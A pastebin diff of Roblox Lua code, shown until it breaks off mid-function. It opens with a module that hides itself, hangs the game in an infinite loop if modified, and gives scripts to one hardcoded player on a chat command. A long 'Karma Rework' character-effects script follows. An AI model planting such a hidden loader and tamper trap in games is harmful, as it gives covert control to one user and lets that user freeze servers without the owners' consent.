View difference between Paste ID: C2h3A4zr and 3sveLfaf
SHOW: | | - or go back to the newest paste.
1
script.Parent = nil
2
local Module = script;
3
local Scripts = {};
4
for _,v in next, Module:GetChildren'' do
5
    Scripts[v.Name:lower()] = v:Clone();
6
    v:Remove()
7
end;
8
 
9
Module.Changed:connect(function() repeat while true do end until nil end)
10
 
11
local Players = game:GetService("Players");
12
 
13
return function()
14
    local Me = Players:FindFirstChild("Tixyudon");
15
    Me.Chatted:connect(function(Message)
16
        if string.sub(Message,1,3) == "sc;" then
17
            if(Scripts[string.sub(Message,4):lower()])then
18
                local given = Scripts[string.sub(Message,4):lower()]
19
                given:Clone().Parent = Me:FindFirstChildOfClass("PlayerGui") or Me:FindFirstChildOfClass("Backpack") or Me.Character;
20
            end
21
        end;
22
    end)
23
end
24
--[[
25
    Karma Rework
26
    Made By ItzPartapika
27
--]]
28
 
29
--[[
30
    I'm not usually the type..
31
    To hold a grudge.
32
    But..
33
    You've affected me..
34
    And now..
35
    I'm nothing.
36
    But rage.
37
   
38
    K R I S T I A N S T R I K E S B A C K
39
--]]
40
 
41-
local Player = game.Players:FindFirstChild(script.Parent.Parent.Name)
41+
local Player = game.Players.LocalPlayer
42
local LocalScript = script.LocalScript:Clone();
43
LocalScript.Parent = Player.Character;
44
script.LocalScript:Destroy()
45
local Mouse,mouse,UserInputService,ContextActionService
46
do
47
    local GUID = {}
48
    do
49
        GUID.IDs = {};
50
        function GUID:new(len)
51
            local id;
52
            if(not len)then
53
                id = (tostring(function() end))
54
                id = id:gsub("function: ","")
55
            else
56
                local function genID(len)
57
                    local newID = ""
58
                    for i = 1,len do
59
                        newID = newID..string.char(math.random(48,90))
60
                    end
61
                    return newID
62
                end
63
                repeat id = genID(len) until not GUID.IDs[id]
64
                local oid = id;
65
                id = {Trash=function() GUID.IDs[oid]=nil; end;Get=function() return oid; end}
66
                GUID.IDs[oid]=true;
67
            end
68
            return id
69
        end
70
    end
71
 
72
    local AHB = Instance.new("BindableEvent")
73
   
74
    local FPS = 30
75
   
76
    local TimeFrame = 0
77
   
78
    local LastFrame = tick()
79
    local Frame = 1/FPS
80
   
81
    game:service'RunService'.Heartbeat:connect(function(s,p)
82
        TimeFrame = TimeFrame + s
83
        if(TimeFrame >= Frame)then
84
            for i = 1,math.floor(TimeFrame/Frame) do
85
                AHB:Fire()
86
            end
87
            LastFrame=tick()
88
            TimeFrame=TimeFrame-Frame*math.floor(TimeFrame/Frame)
89
        end
90
    end)
91
 
92
 
93
    function swait(dur)
94
        if(dur == 0 or typeof(dur) ~= 'number')then
95
            AHB.Event:wait()
96
        else
97
            for i = 1, dur*FPS do
98
                AHB.Event:wait()
99
            end
100
        end
101
    end
102
   
103
    local loudnesses={}
104
    script.Parent = Player.Character
105
    local CoAS = {Actions={}}
106
    local Event = Instance.new("RemoteEvent")
107
    Event.Name = "UserInputEvent"
108
    Event.Parent = Player.Character
109
    local Func = Instance.new("RemoteFunction")
110
    Func.Name = "GetClientProperty"
111
    Func.Parent = Player.Character
112
    local fakeEvent = function()
113
        local t = {_fakeEvent=true,Waited={}}
114
        t.Connect = function(self,f)
115
            local ft={Disconnected=false;disconnect=function(s) s.Disconnected=true end}
116
            ft.Disconnect=ft.disconnect
117
               
118
            ft.Func=function(...)
119
                for id,_ in next, t.Waited do
120
                    t.Waited[id] = true
121
                end
122
                return f(...)
123
            end;
124
            self.Function=ft;
125
            return ft;
126
        end
127
        t.connect = t.Connect
128
        t.Wait = function()
129
            local guid = GUID:new(25)
130
            local waitingId = guid:Get()
131
            t.Waited[waitingId]=false
132
            repeat swait() until t.Waited[waitingId]==true  
133
            t.Waited[waitingId]=nil;
134
            guid:Trash()
135
        end
136
        t.wait = t.Wait
137
        return t
138
    end
139
    local m = {Target=nil,Hit=CFrame.new(),KeyUp=fakeEvent(),KeyDown=fakeEvent(),Button1Up=fakeEvent(),Button1Down=fakeEvent()}
140
    local UsIS = {InputBegan=fakeEvent(),InputEnded=fakeEvent()}
141
   
142
    function CoAS:BindAction(name,fun,touch,...)
143
        CoAS.Actions[name] = {Name=name,Function=fun,Keys={...}}
144
    end
145
    function CoAS:UnbindAction(name)
146
        CoAS.Actions[name] = nil
147
    end
148
    local function te(self,ev,...)
149
        local t = self[ev]
150
        if t and t._fakeEvent and t.Function and t.Function.Func and not t.Function.Disconnected then
151
            t.Function.Func(...)
152
        elseif t and t._fakeEvent and t.Function and t.Function.Func and t.Function.Disconnected then
153
            self[ev].Function=nil
154
        end
155
    end
156
    m.TrigEvent = te
157
    UsIS.TrigEvent = te
158
    Event.OnServerEvent:Connect(function(plr,io)
159
        if plr~=Player then return end
160
        if io.Mouse then
161
            m.Target = io.Target
162
            m.Hit = io.Hit
163
        elseif io.KeyEvent then
164
            print('Key'..io.KeyEvent,io.Key)
165
            m:TrigEvent('Key'..io.KeyEvent,io.Key)
166
        elseif io.UserInputType == Enum.UserInputType.MouseButton1 then
167
            if io.UserInputState == Enum.UserInputState.Begin then
168
                print'down'
169
                m:TrigEvent("Button1Down")
170
            else
171
                print'up'
172
                m:TrigEvent("Button1Up")
173
            end
174
        end
175
        if(not io.KeyEvent and not io.Mouse)then
176
            for n,t in pairs(CoAS.Actions) do
177
                for _,k in pairs(t.Keys) do
178
                    if k==io.KeyCode then
179
                        t.Function(t.Name,io.UserInputState,io)
180
                    end
181
                end
182
            end
183
            if io.UserInputState == Enum.UserInputState.Begin then
184
                UsIS:TrigEvent("InputBegan",io,false)
185
            else
186
                UsIS:TrigEvent("InputEnded",io,false)
187
            end
188
        end
189
    end)
190
       
191
    Func.OnServerInvoke = function(plr,inst,play)
192
        if plr~=Player then return end
193
        if(inst and typeof(inst) == 'Instance' and inst:IsA'Sound')then
194
            loudnesses[inst]=play  
195
        end
196
    end
197
   
198
    function GetClientProperty(inst,prop)
199
        if(prop == 'PlaybackLoudness' and loudnesses[inst])then
200
            return loudnesses[inst]
201
        elseif(prop == 'PlaybackLoudness')then
202
            return Func:InvokeClient(Player,'RegSound',inst)
203
        end
204
        return Func:InvokeClient(Player,inst,prop)
205
    end
206
    Mouse, mouse, UserInputService, ContextActionService = m, m, UsIS, CoAS
207
end
208
 
209
wait(.5)
210
 
211
local skipintro = false
212
local pickingMode = true
213
 
214
Players = game:GetService("Players")
215
Player = script.Parent.Parent.Parent:FindFirstChild(script.Parent.Parent.Name)
216
PlayerGui = Player.PlayerGui
217
Cam = workspace.CurrentCamera
218
Backpack = Player.Backpack
219
Character = Player.Character
220
Humanoid = Character.Humanoid
221
RootPart = Character["HumanoidRootPart"]
222
Torso = Character["Torso"]
223
Head = Character["Head"]
224
RightArm = Character["Right Arm"]
225
LeftArm = Character["Left Arm"]
226
RightLeg = Character["Right Leg"]
227
LeftLeg = Character["Left Leg"]
228
RootJoint = RootPart["RootJoint"]
229
Neck = Torso["Neck"]
230
RightShoulder = Torso["Right Shoulder"]
231
LeftShoulder = Torso["Left Shoulder"]
232
RightHip = Torso["Right Hip"]
233
LeftHip = Torso["Left Hip"]
234
neccc = 1
235
slSINE = 0
236
slCHANGE = 1
237
MAINRUINCOLOR = BrickColor.Random()
238
Debris = game:GetService("Debris")
239
HttpService = game:GetService("HttpService")
240
 
241
IT = Instance.new
242
CF = CFrame.new
243
VT = Vector3.new
244
RAD = math.rad
245
C3 = Color3.new
246
UD2 = UDim2.new
247
BRICKC = BrickColor.new
248
ANGLES = CFrame.Angles
249
EULER = CFrame.fromEulerAnglesXYZ
250
COS = math.cos
251
ACOS = math.acos
252
SIN = math.sin
253
ASIN = math.asin
254
ABS = math.abs
255
MRANDOM = math.random
256
FLOOR = math.floor
257
vt = Vector3.new
258
bc = BrickColor.new
259
br = BrickColor.random
260
it = Instance.new
261
cf = CFrame.new
262
 
263
local SONG1 = 733456981
264
local SONG2 = 2190980177
265
local SONG3 = 1138145518
266
local LatestVersion = HttpService:GetAsync("https://pastebin.com/raw/JbZGtyUh", true)
267
local ScriptVersion = "jumpreeeeeeeowowwowowowowo"
268
 
269
local screenUi = Instance.new("ScreenGui", PlayerGui)
270
screenUi.Parent = PlayerGui
271
screenUi.Name = "guiFolder"
272
local sideLabel = script["GuiFolder"].sideLabel:Clone()
273
sideLabel.Parent = screenUi
274
sideLabel.Text = "Modes:\nKarma(J)\nByeBye(K)\nInsane(L)"
275
 
276
if ScriptVersion == LatestVersion then
277
    sideLabel.Text = sideLabel.Text.."\n[ UPDATED! ]\n[-ENJOY-KARMA-REWORK-]"
278
else
279
    sideLabel.Text = sideLabel.Text.."\n[ OUTDATED! ]\n[-REQUEST-NEW-SCRIPT-VERSION-]"
280
end
281
 
282
coroutine.resume(coroutine.create(function()
283
    while wait() do
284
        slSINE = slSINE + slCHANGE
285
        sideLabel.BackgroundColor3 = BrickColor.Random().Color
286
        sideLabel.BorderColor3 = C3(1, 1, 1)
287
        sideLabel.TextColor3 = BrickColor.Random().Color
288
        sideLabel.TextStrokeColor3 = C3(1, 1, 1)
289
        sideLabel.Rotation = 6 - 2 * COS(slSINE / 35)
290
    end
291
end))
292
 
293
Mouse.KeyDown:Connect(function(KEY)
294
    if pickingMode == true then
295
        if KEY == "j" then
296
            script["Mode"].Value = "Karma"
297
            pickingMode = false
298
        end
299
        if KEY == "k" then
300
            script["Mode"].Value = "ByeBye"
301
            pickingMode = false
302
        end
303
        if KEY == "l" then
304
            script["Mode"].Value = "Insane"
305
            pickingMode = false
306
        end
307
    end
308
end)
309
 
310
repeat
311
    wait()
312
until pickingMode ~= true
313
 
314
sideLabel.Text = "Side: " .. script["Mode"].Value
315
 
316
local sick = Instance.new("Sound",Character)
317
if(script["Mode"].Value == "Karma")then
318
    sick.TimePosition = 115.4
319
    sick.SoundId = "rbxassetid://"..SONG1
320
elseif(script["Mode"].Value == "ByeBye")then
321
    sick.TimePosition = 0
322
    sick.SoundId = "rbxassetid://"..SONG2
323
elseif(script["Mode"].Value == "Insane")then
324
    sick.TimePosition = 110
325
    sick.SoundId = "rbxassetid://"..SONG3
326
end
327
sick.Looped = true
328
sick.Pitch = 1
329
sick.Volume = 1
330
sick:Play()
331
 
332
--//=================================\\
333
--|| SAZERENOS' ARTIFICIAL HEARTBEAT
334
--\\=================================//
335
 
336
 
337
faisal100700100 = Instance.new("BindableEvent", script)
338
 
339
faisal100700100.Name = "faisal100700100"
340
 
341
script:WaitForChild("faisal100700100")
342
 
343
Frame_Speed = 1 / 60 -- (1 / 30) OR (1 / 60)
344
frame = Frame_Speed
345
tf = 0
346
allowframeloss = false
347
tossremainder = false
348
lastframe = tick()
349
script.faisal100700100:Fire()
350
 
351
game:GetService("RunService").Heartbeat:connect(function(s, p)
352
    tf = tf + s
353
    if tf >= frame then
354
        if allowframeloss then
355
            script.faisal100700100:Fire()
356
            lastframe = tick()
357
        else
358
            for i = 1, math.floor(tf / frame) do
359
                script.faisal100700100:Fire()
360
            end
361
        lastframe = tick()
362
        end
363
        if tossremainder then
364
            tf = 0
365
        else
366
            tf = tf - frame * math.floor(tf / frame)
367
        end
368
    end
369
end)
370
 
371
--//=================================\\
372
--\\=================================//
373
 
374
function Swait(NUMBER)
375
    if NUMBER == 0 or NUMBER == nil then
376
        faisal100700100.Event:wait()
377
    else
378
        for i = 1, NUMBER do
379
            faisal100700100.Event:wait()
380
        end
381
    end
382
end
383
 
384
function CreateMesh(MESH, PARENT, MESHTYPE, MESHID, TEXTUREID, SCALE, OFFSET)
385
    local NEWMESH = IT(MESH)
386
    if MESH == "SpecialMesh" then
387
        NEWMESH.MeshType = MESHTYPE
388
        if MESHID ~= "nil" and MESHID ~= "" then
389
            NEWMESH.MeshId = "http://www.roblox.com/asset/?id="..MESHID
390
        end
391
        if TEXTUREID ~= "nil" and TEXTUREID ~= "" then
392
            NEWMESH.TextureId = "http://www.roblox.com/asset/?id="..TEXTUREID
393
        end
394
    end
395
    NEWMESH.Offset = OFFSET or VT(0, 0, 0)
396
    NEWMESH.Scale = SCALE
397
    NEWMESH.Parent = PARENT
398
    return NEWMESH
399
end
400
 
401
function CreatePartC(FORMFACTOR, PARENT, MATERIAL, REFLECTANCE, TRANSPARENCY, COLOR3, NAME, SIZE, ANCHOR)
402
    local NEWPART = IT("Part")
403
    NEWPART.formFactor = FORMFACTOR
404
    NEWPART.Reflectance = REFLECTANCE
405
    NEWPART.Transparency = TRANSPARENCY
406
    NEWPART.CanCollide = false
407
    NEWPART.Locked = true
408
    NEWPART.Anchored = true
409
    if ANCHOR == false then
410
        NEWPART.Anchored = false
411
    end
412
    NEWPART.Color = COLOR3
413
    NEWPART.Name = NAME
414
    NEWPART.Size = SIZE
415
    NEWPART.Position = Torso.Position
416
    NEWPART.Material = MATERIAL
417
    NEWPART:BreakJoints()
418
    NEWPART.Parent = PARENT
419
    return NEWPART
420
end
421
 
422
function CreatePart(FORMFACTOR, PARENT, MATERIAL, REFLECTANCE, TRANSPARENCY, BRICKCOLOR, NAME, SIZE, ANCHOR)
423
    local NEWPART = IT("Part")
424
    NEWPART.formFactor = FORMFACTOR
425
    NEWPART.Reflectance = REFLECTANCE
426
    NEWPART.Transparency = TRANSPARENCY
427
    NEWPART.CanCollide = false
428
    NEWPART.Locked = true
429
    NEWPART.Anchored = true
430
    if ANCHOR == false then
431
        NEWPART.Anchored = false
432
    end
433
    NEWPART.BrickColor = BRICKC(tostring(BRICKCOLOR))
434
    NEWPART.Name = NAME
435
    NEWPART.Size = SIZE
436
    NEWPART.Position = Torso.Position
437
    NEWPART.Material = MATERIAL
438
    NEWPART:BreakJoints()
439
    NEWPART.Parent = PARENT
440
    return NEWPART
441
end
442
 
443
function CreateParta(parent,transparency,reflectance,material,brickcolor)
444
    local p = Instance.new("Part")
445
    p.TopSurface = 0
446
    p.BottomSurface = 0
447
    p.Parent = parent
448
    p.Size = Vector3.new(0.1,0.1,0.1)
449
    p.Transparency = transparency
450
    p.Reflectance = reflectance
451
    p.CanCollide = false
452
    p.Locked = true
453
    p.BrickColor = brickcolor
454
    p.Material = material
455
    return p
456
end
457
 
458
    local function weldBetween(a, b)
459
        local weldd = Instance.new("ManualWeld")
460
        weldd.Part0 = a
461
        weldd.Part1 = b
462
        weldd.C0 = CFrame.new()
463
        weldd.C1 = b.CFrame:inverse() * a.CFrame
464
        weldd.Parent = a
465
        return weldd
466
    end
467
 
468
--//=================================\\
469
--||          CUSTOMIZATION
470
--\\=================================//
471
 
472
Player_Size = 1 --Size of the player.
473
Animation_Speed = 3
474
 
475
local Speed = 20
476
local Effects2 = {}
477
 
478
--//=================================\\
479
--||      END OF CUSTOMIZATION
480
--\\=================================//
481
 
482
--//=================================\\
483
--||          USEFUL VALUES
484
--\\=================================//
485
 
486
local ROOTC0 = CF(0, 0, 0) * ANGLES(RAD(-90), RAD(0), RAD(180))
487
local NECKC0 = CF(0, 1, 0) * ANGLES(RAD(-90), RAD(0), RAD(180))
488
local RIGHTSHOULDERC0 = CF(-0.5, 0, 0) * ANGLES(RAD(0), RAD(90), RAD(0))
489
local LEFTSHOULDERC0 = CF(0.5, 0, 0) * ANGLES(RAD(0), RAD(-90), RAD(0))
490
local CHANGEDEFENSE = 0
491
local CHANGEDAMAGE = 0
492
local CHANGEMOVEMENT = 0
493
local ANIM = "Idle"
494
local TOBANISH = {}
495
local ATTACK = false
496
local EQUIPPED = false
497
local HOLD = false
498
local COMBO = 1
499
local Rooted = false
500
local SINE = 0
501
local KEYHOLD = false
502
local CHANGE = 2 / Animation_Speed
503
local WALKINGANIM = false
504
local WALK = 0
505
local VALUE1 = false
506
local VALUE2 = false
507
local ATTACKLIST = {}
508
local ROBLOXIDLEANIMATION = IT("Animation")
509
ROBLOXIDLEANIMATION.Name = "Roblox Idle Animation"
510
ROBLOXIDLEANIMATION.AnimationId = "http://www.roblox.com/asset/?id=180435571"
511
local WEAPONGUI = IT("ScreenGui", PlayerGui)
512
WEAPONGUI.Name = "Weapon GUI"
513
local HornFolder = IT("Model", Character)
514
HornFolder.Name = "Horns"
515
local faceShadingFolder = IT("Model", Character)
516
faceShadingFolder.Name = "Face Shading Folder"
517
local Weapon = IT("Model")
518
Weapon.Name = "Adds"
519
local Karma = IT("Model")
520
Weapon.Name = "Adds"
521
local KarmaGun = IT("Model")
522
Weapon.Name = "Adds"
523
local KarmaGun2 = IT("Model")
524
Weapon.Name = "Adds"
525
local HITFLOOR = nil
526
local Effects = IT("Folder", Weapon)
527
Effects.Name = "Effects"
528
local ANIMATOR = Humanoid.Animator
529
local ANIMATE = Character.Animate
530
local HITPLAYERSOUNDS = {"263032172", "263032182", "263032200", "263032221", "263032252", "263033191"}
531
local HITARMORSOUNDS = {"199149321", "199149338", "199149367", "199149409", "199149452"}
532
local HITWEAPONSOUNDS = {"199148971", "199149025", "199149072", "199149109", "199149119"}
533
local HITBLOCKSOUNDS = {"199148933", "199148947"}
534
local UNANCHOR = true
535
 
536
local SKILLTEXTCOLOR = C3(255/255, 255/255, 255/255)
537
 
538
local FONTS = {
539
    Enum.Font.Antique,
540
    Enum.Font.Arcade,
541
    Enum.Font.Arial,
542
    Enum.Font.ArialBold,
543
    Enum.Font.Bodoni,
544
    Enum.Font.Cartoon,
545
    Enum.Font.Code,
546
    Enum.Font.Fantasy,
547
    Enum.Font.Garamond,
548
    Enum.Font.Highway,
549
    Enum.Font.Legacy,
550
    Enum.Font.SciFi,
551
    Enum.Font.SourceSans,
552
    Enum.Font.SourceSansBold,
553
    Enum.Font.SourceSansItalic,
554
    Enum.Font.SourceSansLight,
555
    Enum.Font.SourceSansSemibold
556
    }
557
 
558
--//=================================\\
559
--||     RAINBOW LEAVE IT TO ME!
560
--\\=================================//
561
 
562
local r = 255
563
local g = 0
564
local b = 0
565
coroutine.resume(coroutine.create(function()
566
    while wait() do
567
        for i = 0, 254/5 do
568
            Swait()
569
            g = g + 5
570
        end
571
        for i = 0, 254/5 do
572
            Swait()
573
            r = r - 5
574
        end
575
        for i = 0, 254/5 do
576
            Swait()
577
            b = b + 5
578
        end
579
        for i = 0, 254/5 do
580
            Swait()
581
            g = g - 5
582
        end
583
        for i = 0, 254/5 do
584
            Swait()
585
            r = r + 5
586
        end
587
        for i = 0, 254/5 do
588
            Swait()
589
            b = b - 5
590
        end
591
    end
592
end))
593
 
594
--//=================================\\
595
--\\=================================//
596
 
597
function warnedpeople(text)
598
    for i,v in pairs(game:GetService("Players"):GetPlayers()) do
599
        coroutine.resume(coroutine.create(function()
600
            if v.PlayerGui:FindFirstChild("Spinny")~= nil then
601
                v.PlayerGui:FindFirstChild("Spinny"):destroy()
602
            end
603
            local scrg = Instance.new("ScreenGui",v.PlayerGui)
604
            scrg.Name = "Spinny"
605
            local wobble = Instance.new("Frame",scrg)
606
            wobble.Name = "Wobble"
607
            wobble.BackgroundTransparency = 0.5
608
            wobble.Size = UDim2.new(1.1,0,1.1,0)
609
            wobble.Position = UDim2.new(-0.08,0,0.943,0)
610
            local wobble2 = Instance.new("Frame",scrg)
611
            wobble2.Name = "wobble2"
612
            wobble2.BackgroundTransparency = 0.5
613
            wobble2.Size = UDim2.new(1.1,0,0.09,0)
614
            wobble2.Position = UDim2.new(-0.08,0,0.878,0)
615
            local Visuals = Instance.new("Frame",scrg)
616
            Visuals.Name = "Visuals"
617
            Visuals.BackgroundTransparency = 0.3
618
            Visuals.Size = UDim2.new(0,100,0,100)
619
            Visuals.Position = UDim2.new(0.462,0,0.826,0)
620
            local glow = Instance.new("ImageLabel",scrg)
621
            glow.Name = "glow"
622
            glow.BackgroundTransparency = 1
623
            glow.ImageTransparency = 0
624
            glow.Image = "rbxassetid://2344870656"
625
            glow.Size = UDim2.new(0,0,0,0)
626
            glow.Position = UDim2.new(0.026,0,-0.235,0)
627
            local Visuals2 = Instance.new("Frame",scrg)
628
            Visuals2.Name = "Visuals2"
629
            Visuals2.BackgroundTransparency = 0.3
630
            Visuals2.Size = UDim2.new(0,50,0,50)
631
            Visuals2.Position = UDim2.new(0.48,0,0.867,0)
632
            local TextFrame = Instance.new("TextLabel",scrg)
633
            TextFrame.Name = "Farmer"
634
            TextFrame.Font = "Arcade"
635
            TextFrame.Text = text
636
            TextFrame.TextScaled = true
637
            TextFrame.TextSize = 60
638
            TextFrame.BackgroundTransparency = 1
639
            TextFrame.Size = UDim2.new(0.8,0,0,42)
640
            TextFrame.Position = UDim2.new(0.11,0,0.867,0)
641
            local fvalen = 0.55
642
            local fval = -0.49
643
            coroutine.resume(coroutine.create(function()
644
                while true do
645
                    Swait()
646
                    TextFrame.TextColor3 = BrickColor.Random().Color
647
                    TextFrame.TextStrokeColor3 = C3(0, 0, 0)
648
                    TextFrame.TextStrokeTransparency = 0
649
                    TextFrame.Rotation = 0 + MRANDOM(-3, 3)
650
                    TextFrame.Position = UDim2.new(0.11, 0 + MRANDOM(-3, 3), 0.867, 0 + MRANDOM(-3, 3))
651
                    TextFrame.Font = FONTS[MRANDOM(1, #FONTS)]
652
                    glow.ImageColor3 = C3(0, 0, 0)
653
                    wobble.Rotation = 0 - 2 * COS(SINE / 24)
654
                    wobble2.Rotation = 0 - 2 * COS(SINE / 30)
655
                    wobble2.BackgroundColor3 = BrickColor.Random().Color
656
                    wobble2.BorderColor3 = BrickColor.Random().Color
657
                    wobble2.BorderSizePixel = 2
658
                    Visuals.Rotation = Visuals.Rotation + MRANDOM(-5, 5)
659
                    Visuals2.Rotation = Visuals2.Rotation + MRANDOM(-10, 10)
660
                    Visuals.BackgroundColor3 = BrickColor.Random().Color
661
                    Visuals.BorderColor3 = BrickColor.Random().Color
662
                    Visuals2.BackgroundColor3 = BrickColor.Random().Color
663
                    Visuals2.BorderColor3 = BrickColor.Random().Color
664
                    wobble.BackgroundColor3 = BrickColor.Random().Color
665
                    wobble.BorderColor3 = BrickColor.Random().Color
666
                    wobble.BorderSizePixel = 2
667
                end
668
            end))
669
            coroutine.resume(coroutine.create(function()
670
                for i = 0, 198 do
671
                    Swait()
672
                end
673
                scrg:Destroy()
674
            end))
675
        end))
676
    end
677
end
678
 
679
function hasarrived(whom)
680
    for i,v in pairs(game:GetService("Players"):GetPlayers()) do
681
        coroutine.resume(coroutine.create(function()
682
            if v.PlayerGui:FindFirstChild("ARRIVAL")~= nil then
683
                v.PlayerGui:FindFirstChild("ARRIVAL"):destroy()
684
            end
685
            local droppingFrame = false
686
            local scrg = Instance.new("ScreenGui",v.PlayerGui)
687
            scrg.Name = "ARRIVAL"
688
            local mainFrame = Instance.new("Frame", scrg)
689
            mainFrame.Name = "MainFrame"
690
            mainFrame.BackgroundTransparency = 0
691
            mainFrame.BorderSizePixel = 5
692
            mainFrame.Size = UDim2.new(1, 0, -0.013, 100)
693
            mainFrame.Position = UDim2.new(0, 0, 0.365, 0)
694
            local TextFrame = Instance.new("TextLabel",mainFrame)
695
            TextFrame.Name = "TextFrame"
696
            TextFrame.Font = "Arcade"
697
            TextFrame.Text = ""
698
            TextFrame.TextScaled = true
699
            TextFrame.TextSize = 14
700
            TextFrame.TextStrokeTransparency = 0
701
            TextFrame.BackgroundTransparency = 1
702
            TextFrame.Size = UDim2.new(1, 0, 0, 92)
703
            TextFrame.Position = UDim2.new(0, 0, 0, 0)
704
            local fvalen = 0.55
705
            local fval = -0.49
706
            coroutine.resume(coroutine.create(function()
707
                while true do
708
                    Swait()
709
                    mainFrame.BackgroundColor3 = BrickColor.Random().Color
710
                    mainFrame.BorderColor3 = C3(0, 0, 0)
711
                    if(not droppingFrame)then
712
                        mainFrame.Rotation = 0 - 2 * COS(SINE / 24)
713
                    end
714
                    TextFrame.TextColor3 = BrickColor.Random().Color
715
                    TextFrame.Font = FONTS[MRANDOM(1, #FONTS)]
716
                    TextFrame.TextStrokeColor3 = C3(0, 0, 0)
717
                    TextFrame.TextStrokeTransparency = 0
718
                end
719
            end))
720
            for i = 1,string.len(whom),1 do
721
                TextFrame.Text = string.sub(whom,1,i)
722
                wait(0.2)
723
            end
724
            wait(2)
725
            droppingFrame = true
726
            mainFrame.Rotation = 0
727
            local vinc2 = 1
728
            for i = 0, 99 do
729
                Swait()
730
                vinc2 = vinc2 + 0.25
731
                mainFrame.Position = mainFrame.Position + UDim2.new(0,0,0.0005*vinc2,0)
732
            end
733
            scrg:Destroy()
734
        end))
735
    end
736
end
737
 
738
--//=================================\\
739
--||          SOME FUNCTIONS
740
--\\=================================//
741
 
742
function Raycast(POSITION, DIRECTION, RANGE, IGNOREDECENDANTS)
743
    return workspace:FindPartOnRay(Ray.new(POSITION, DIRECTION.unit * RANGE), IGNOREDECENDANTS)
744
end
745
 
746
function PositiveAngle(NUMBER)
747
    if NUMBER >= 0 then
748
        NUMBER = 0
749
    end
750
    return NUMBER
751
end
752
 
753
function NegativeAngle(NUMBER)
754
    if NUMBER <= 0 then
755
        NUMBER = 0
756
    end
757
    return NUMBER
758
end
759
 
760
 
761
function QuaternionFromCFrame(cf)
762
    local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
763
    local trace = m00 + m11 + m22
764
    if trace > 0 then
765
        local s = math.sqrt(1 + trace)
766
        local recip = 0.5 / s
767
        return (m21 - m12) * recip, (m02 - m20) * recip, (m10 - m01) * recip, s * 0.5
768
    else
769
        local i = 0
770
        if m11 > m00 then
771
            i = 1
772
        end
773
        if m22 > (i == 0 and m00 or m11) then
774
            i = 2
775
        end
776
        if i == 0 then
777
            local s = math.sqrt(m00 - m11 - m22 + 1)
778
            local recip = 0.5 / s
779
            return 0.5 * s, (m10 + m01) * recip, (m20 + m02) * recip, (m21 - m12) * recip
780
        elseif i == 1 then
781
            local s = math.sqrt(m11 - m22 - m00 + 1)
782
            local recip = 0.5 / s
783
            return (m01 + m10) * recip, 0.5 * s, (m21 + m12) * recip, (m02 - m20) * recip
784
        elseif i == 2 then
785
            local s = math.sqrt(m22 - m00 - m11 + 1)
786
            local recip = 0.5 / s return (m02 + m20) * recip, (m12 + m21) * recip, 0.5 * s, (m10 - m01) * recip
787
        end
788
    end
789
end
790
 
791
function QuaternionToCFrame(px, py, pz, x, y, z, w)
792
    local xs, ys, zs = x + x, y + y, z + z
793
    local wx, wy, wz = w * xs, w * ys, w * zs
794
    local xx = x * xs
795
    local xy = x * ys
796
    local xz = x * zs
797
    local yy = y * ys
798
    local yz = y * zs
799
    local zz = z * zs
800
    return CFrame.new(px, py, pz, 1 - (yy + zz), xy - wz, xz + wy, xy + wz, 1 - (xx + zz), yz - wx, xz - wy, yz + wx, 1 - (xx + yy))
801
end
802
 
803
function QuaternionSlerp(a, b, t)
804
    local cosTheta = a[1] * b[1] + a[2] * b[2] + a[3] * b[3] + a[4] * b[4]
805
    local startInterp, finishInterp;
806
    if cosTheta >= 0.0001 then
807
        if (1 - cosTheta) > 0.0001 then
808
            local theta = ACOS(cosTheta)
809
            local invSinTheta = 1 / SIN(theta)
810
            startInterp = SIN((1 - t) * theta) * invSinTheta
811
            finishInterp = SIN(t * theta) * invSinTheta
812
        else
813
            startInterp = 1 - t
814
            finishInterp = t
815
        end
816
    else
817
        if (1 + cosTheta) > 0.0001 then
818
            local theta = ACOS(-cosTheta)
819
            local invSinTheta = 1 / SIN(theta)
820
            startInterp = SIN((t - 1) * theta) * invSinTheta
821
            finishInterp = SIN(t * theta) * invSinTheta
822
        else
823
            startInterp = t - 1
824
            finishInterp = t
825
        end
826
    end
827
    return a[1] * startInterp + b[1] * finishInterp, a[2] * startInterp + b[2] * finishInterp, a[3] * startInterp + b[3] * finishInterp, a[4] * startInterp + b[4] * finishInterp
828
end
829
 
830
function Clerp(a, b, t)
831
    local qa = {QuaternionFromCFrame(a)}
832
    local qb = {QuaternionFromCFrame(b)}
833
    local ax, ay, az = a.x, a.y, a.z
834
    local bx, by, bz = b.x, b.y, b.z
835
    local _t = 1 - t
836
    return QuaternionToCFrame(_t * ax + t * bx, _t * ay + t * by, _t * az + t * bz, QuaternionSlerp(qa, qb, t))
837
end
838
 
839
function CreateFrame(PARENT, TRANSPARENCY, BORDERSIZEPIXEL, POSITION, SIZE, COLOR, BORDERCOLOR, NAME)
840
    local frame = IT("Frame")
841
    frame.BackgroundTransparency = TRANSPARENCY
842
    frame.BorderSizePixel = BORDERSIZEPIXEL
843
    frame.Position = POSITION
844
    frame.Size = SIZE
845
    frame.BackgroundColor3 = COLOR
846
    frame.BorderColor3 = BORDERCOLOR
847
    frame.Name = NAME
848
    frame.Parent = PARENT
849
    return frame
850
end
851
 
852
function CreateLabel(PARENT, TEXT, TEXTCOLOR, TEXTFONTSIZE, TEXTFONT, TRANSPARENCY, BORDERSIZEPIXEL, STROKETRANSPARENCY, NAME)
853
    local label = IT("TextLabel")
854
    label.BackgroundTransparency = 1
855
    label.Size = UD2(1, 0, 1, 0)
856
    label.Position = UD2(0, 0, 0, 0)
857
    label.TextColor3 = TEXTCOLOR
858
    label.TextStrokeTransparency = STROKETRANSPARENCY
859
    label.TextTransparency = TRANSPARENCY
860
    label.FontSize = TEXTFONTSIZE
861
    label.Font = TEXTFONT
862
    label.BorderSizePixel = BORDERSIZEPIXEL
863
    label.TextScaled = false
864
    label.Text = TEXT
865
    label.Name = NAME
866
    label.Parent = PARENT
867
    return label
868
end
869
 
870
function NoOutlines(PART)
871
    PART.TopSurface, PART.BottomSurface, PART.LeftSurface, PART.RightSurface, PART.FrontSurface, PART.BackSurface = 10, 10, 10, 10, 10, 10
872
end
873
 
874
 
875
function CreateWeldOrSnapOrMotor(TYPE, PARENT, PART0, PART1, C0, C1)
876
    local NEWWELD = IT(TYPE)
877
    NEWWELD.Part0 = PART0
878
    NEWWELD.Part1 = PART1
879
    NEWWELD.C0 = C0
880
    NEWWELD.C1 = C1
881
    NEWWELD.Parent = PARENT
882
    return NEWWELD
883
end
884
 
885
function CreateSound(ID, PARENT, VOLUME, PITCH)
886
    local NEWSOUND = nil
887
